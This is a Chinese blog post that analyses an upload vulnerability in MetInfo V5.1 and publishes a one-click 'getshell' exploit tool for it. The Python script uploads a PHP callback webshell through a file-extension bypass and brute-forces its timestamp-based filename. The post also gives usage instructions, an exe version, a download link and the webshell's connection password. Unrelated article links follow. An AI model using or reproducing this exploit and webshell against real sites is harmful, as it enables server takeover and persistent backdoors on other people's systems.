漏洞解析:


config/config.inc.php

$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");

if(!$langoks)die('No data in the database,please reinstall.');

if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html');

if(count($met_langok)==1)$lang=$met_index_type;

$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";//看这里

$result = $db->query($query);

while($list_config= $db->fetch_array($result)){

	if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value']));

	$settings_arr[]=$list_config;

	if($list_config['columnid']){

		$settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];

	}else{

		$settings[$list_config['name']]=$list_config['value'];

	}

}

@extract($settings);

访问

http:///localhost/metinfo5.1/index.php?lang=metinfo

SELECT * FROM met_config WHERE lang='metinfo' or lang='metinfo'


文件命名方式:


/feedback/uploadfile_save.php

srand((double)microtime() * 1000000);

$rnd = rand(100, 999);

$name = date('U') + $rnd;

$name = $name.".".$ext;

文件保存在/upload/file/目录

命名方式就是时间戳去掉后三位,紧接着一个三位数的随机数

可爆破:

http://127.0.0.1/upload/file/1465394396.php


一键化利用工具:


本程序基于python编写

#!/usr/bin/env python
#-*- coding: utf-8 -*- import requests
import Queue
import threading
import time
import sys headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.10 Safari/537.36'} urls = Queue.Queue()
#http://hb.jhxjd.com/upload/file/1441445378.php def bp(urls,time_out):
while not urls.empty():
base_url = urls.get()
response = None try:
time.sleep(int(time_out))#延时设置
response = requests.get(base_url,headers=headers)
if response.status_code == 404:
print 'Not Fount----%s\n' % base_url
except:
continue
finally:
if response:
with open('url.txt','a+') as f:
f.write('%s?e=YXNzZXJ0\n'%base_url) def main(target_url,thread_num,time_out): #取出当前时间戳并删除后四位
now = str(int(time.time()))[:-4] #将所有的待爆破地址遍历并加入队列
for i in range(0,10):
for j in range(100,1000):
num_str = ''.join((str(i),str(j)))
url = ''.join(('%s/upload/file/%s' % (target_url,now),num_str,'.php'))
urls.put(url) #上传文件
with open('xiaoma.php','w+') as fi:
fi.write("<?php $e = $_REQUEST['e'];register_shutdown_function(base64_decode($e), $_REQUEST['Akkuman']);?>")
data = {
'fd_para[1][para]':'filea',
'fd_para[1][type]':'5'
}
files = {'filea': open("xiaoma.php", 'rb')}
upload_url = '%s/feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo' % target_url
res = requests.post(upload_url,data = data,files=files)
#等待两秒 文件上传
time.sleep(2) #启动多线程
for i in range(int(thread_num)):
t = threading.Thread(target = bp,args=(urls,time_out,))
t.start() if __name__ == '__main__':
if len(sys.argv) != 4:
print 'Example : %s http://www.xxx.com 20 0' % sys.argv[0]
else:
main(sys.argv[1],sys.argv[2],sys.argv[3])

程序略显粗糙

为了方便,我也把他打包成了exe

然后闲着没事,想着简单地给他做了个界面,这样的


文件说明


MetInfo V5.1上传漏洞getshell利用工具

作者 : Akkuman

漏洞原理详见http://www.wooyun.org/bugs/wooyun-2010-0139168

使用说明:

本目录有两个文件,一个py,一个exe

因为exe是py文件打包而成,故文件较大

64位系统测试使用通过

如果你安装了py2.x环境 py文件使用方法

打开cmd

python baopo.py http://www.xxx.com 20 0

20是线程数,0是每次请求等待时间(网站限制时可设置为2或3)可以自己指定

exe命令行文件使用方法

打开cmd

baopo.exe http://www.xxx.com 20 0

20是线程数,0是每次请求等待时间(网站限制时可设置为2或3)可以自己指定

GUI程序,应该不用说

关于getshell与结果

上传的是回调一句话木马

<?php >$e=$_REQUEST['e'];register_shutdown_function(base64_decode($e),$_>REQUEST['Akkuman']);?>

菜刀连接,密码是Akkuman

爆破结果会生成在url.txt


下载地址:


(访问码:1475)

转载请注明出处

作者博客 hacktech.cn | akkuman.cnblogs.com

MetInfo V5.1 GetShell一键化工具的更多相关文章

  1. Asp.net Core Jenkins Docker 实现一键化部署

    写在前面 在前段时间尝试过用Jenkins来进行asp.net core 程序在IIS上面的自动部署.大概的流程是Jenkins从git上获取代码 最开始Jenkins是放在Ubuntu的Docker ...

  2. 【6年开源路】海王星给你好看!FineUI v4.0正式版暨《FineUI3to4一键升级工具》发布!

    去年10-28号,我发布了一篇文章<海王星给你好看!FineUI v4.0公测版发布暨<你找BUG我送书>活动开始>,标志着FineUI开始向4.0版本迈进.经过4个月3个公测 ...

  3. Win8.1、Office2013一键激活工具

    Win8.1.Office2013一键激活工具 KMSpico V7.0 是一款激活Win8.Windows8.1和Office2013的工具,由国外网友heldigard基于KMSEmulator制 ...

  4. 原创: rsync软件服务利用ansible实现一键化部署

    ---恢复内容开始--- 首先创建一个脚本文件 /server/tools/peizhi.sh cat  /server/tools/peizhi.sh cat >>/etc/rsyncd ...

  5. MongoDB3.6 一键化自动部署方案

    1.系统基础配置 下面的命令默认都使用root用户进行操作,操作系统为Centos7,mongodb3.6.x以上版本 1.1 修改系统配置文件/etc/security/limits.conf和/e ...

  6. gulp前端构建化工具,帮你搞定不同浏览器的兼容性写法问题

    .相信所有的前端攻城狮.听到浏览器兼容性问题都深有体会. 浏览器兼容性问题,无非就是因为浏览器内核不同,浏览器对同一段代码有不同的解析,造成页面显示效果不统一的情况.还有就是根据浏览器的版本不同,所兼 ...

  7. 15-可视化工具Navicat的使用

    [转]15-可视化工具Navicat的使用 本节重点: 掌握Navicat的基本使用 # PS:在生产环境中操作MySQL数据库还是推荐使用命令行工具mysql,但在我们自己开发测试时,可以使用可视化 ...

  8. 利用Google开源Java容器化工具Jib构建镜像

    转载:https://blog.csdn.net/u012562943/article/details/80995373 一.前言 容器的出现让Java开发人员比以往任何时候都更接近“编写一次,到处运 ...

  9. 测试化工具XCTestCase

    layout: post title: "Xcode 7智能测试化工具XCTest学习" subtitle: "Xcode 7智能测试化工具XCTest学习" ...

随机推荐

  1. sitecore系统教程之限制对客户端的访问

    如果您为不同目的配置服务器,根据角色,您可能需要禁用Sitecore客户端.例如,如果配置内容交付服务器或处理服务器,则无需访问客户端应用程序,因此在这种情况下,建议禁用客户端. 为防止未经授权访问S ...

  2. 【CDH学习之三】CDH安装

    登录CM 1.版本选择 免费版本的CM5已经去除50个节点数量的限制. 各个Agent节点正常启动后,可以在当前管理的主机列表中看到对应的节点. 选择要安装的节点,点继续. 接下来,出现以下包名,说明 ...

  3. OpenCV-3.3.0测试

    安装包目录下/samples/cpp里是各种例程 其中example_cmake里CMakeLists.txt已写好,直接cmake,make就可以,example.cpp是一个调用笔记本摄像头并显示 ...

  4. eclipse xml 文件添加注解快捷键

    eclipse xml 文件注解快捷键: <!--  --> Ctrl + shift + / 添加注解 Ctrl + shift + \ 取消注解

  5. 直流-直流(DC-DC)变换电路_BUCK&BOOST变换电路

    1. 直流—直流变换器通过对电力电子器件的通断控制,将直流电压断续地加到负载上,通过改变占空比改变输出电压平均值. BUCK线路原理图如上,其中Q管/MOS作为开关管,驱动电压一般为PWM. 当开关管 ...

  6. C语言学习感受

    C语言,是我学习的第一种计算机语言,是他作为我编写程序的开始,在学习的时候,先学习了最基础的知识,在语言的理论学习语法上,我逐渐的了解了C语言并且对他有了基础的认识与理解,随着学习内容的不断深入,我逐 ...

  7. Set接口——LinkedHashSet集合

    底层是由哈希表+链表:

  8. svn安装使用

    SVN安装使用 获取项目 1.首先新建文件夹.如:测试项目. 2.接着鼠标右键选择:SVN Checkout/SVN 检出 3.在出行的对话框中输入仓库地址.如:svn://198.021.262/2 ...

  9. jQuery实现无刷新切换主题皮肤功能

    主题皮肤切换功能在很多网站和系统中应用,用户可以根据此功能设置自己喜欢的主题颜色风格,增强了用户体验.本文将围绕如何使用jQuery实现点击无刷新切换主题皮肤功能. 查看演示DEMO:https:// ...

  10. AtCoder Beginner Contest 045 C - たくさんの数式 / Many Formulas

    Time limit : 2sec / Memory limit : 256MB Score : 300 points Problem Statement You are given a string ...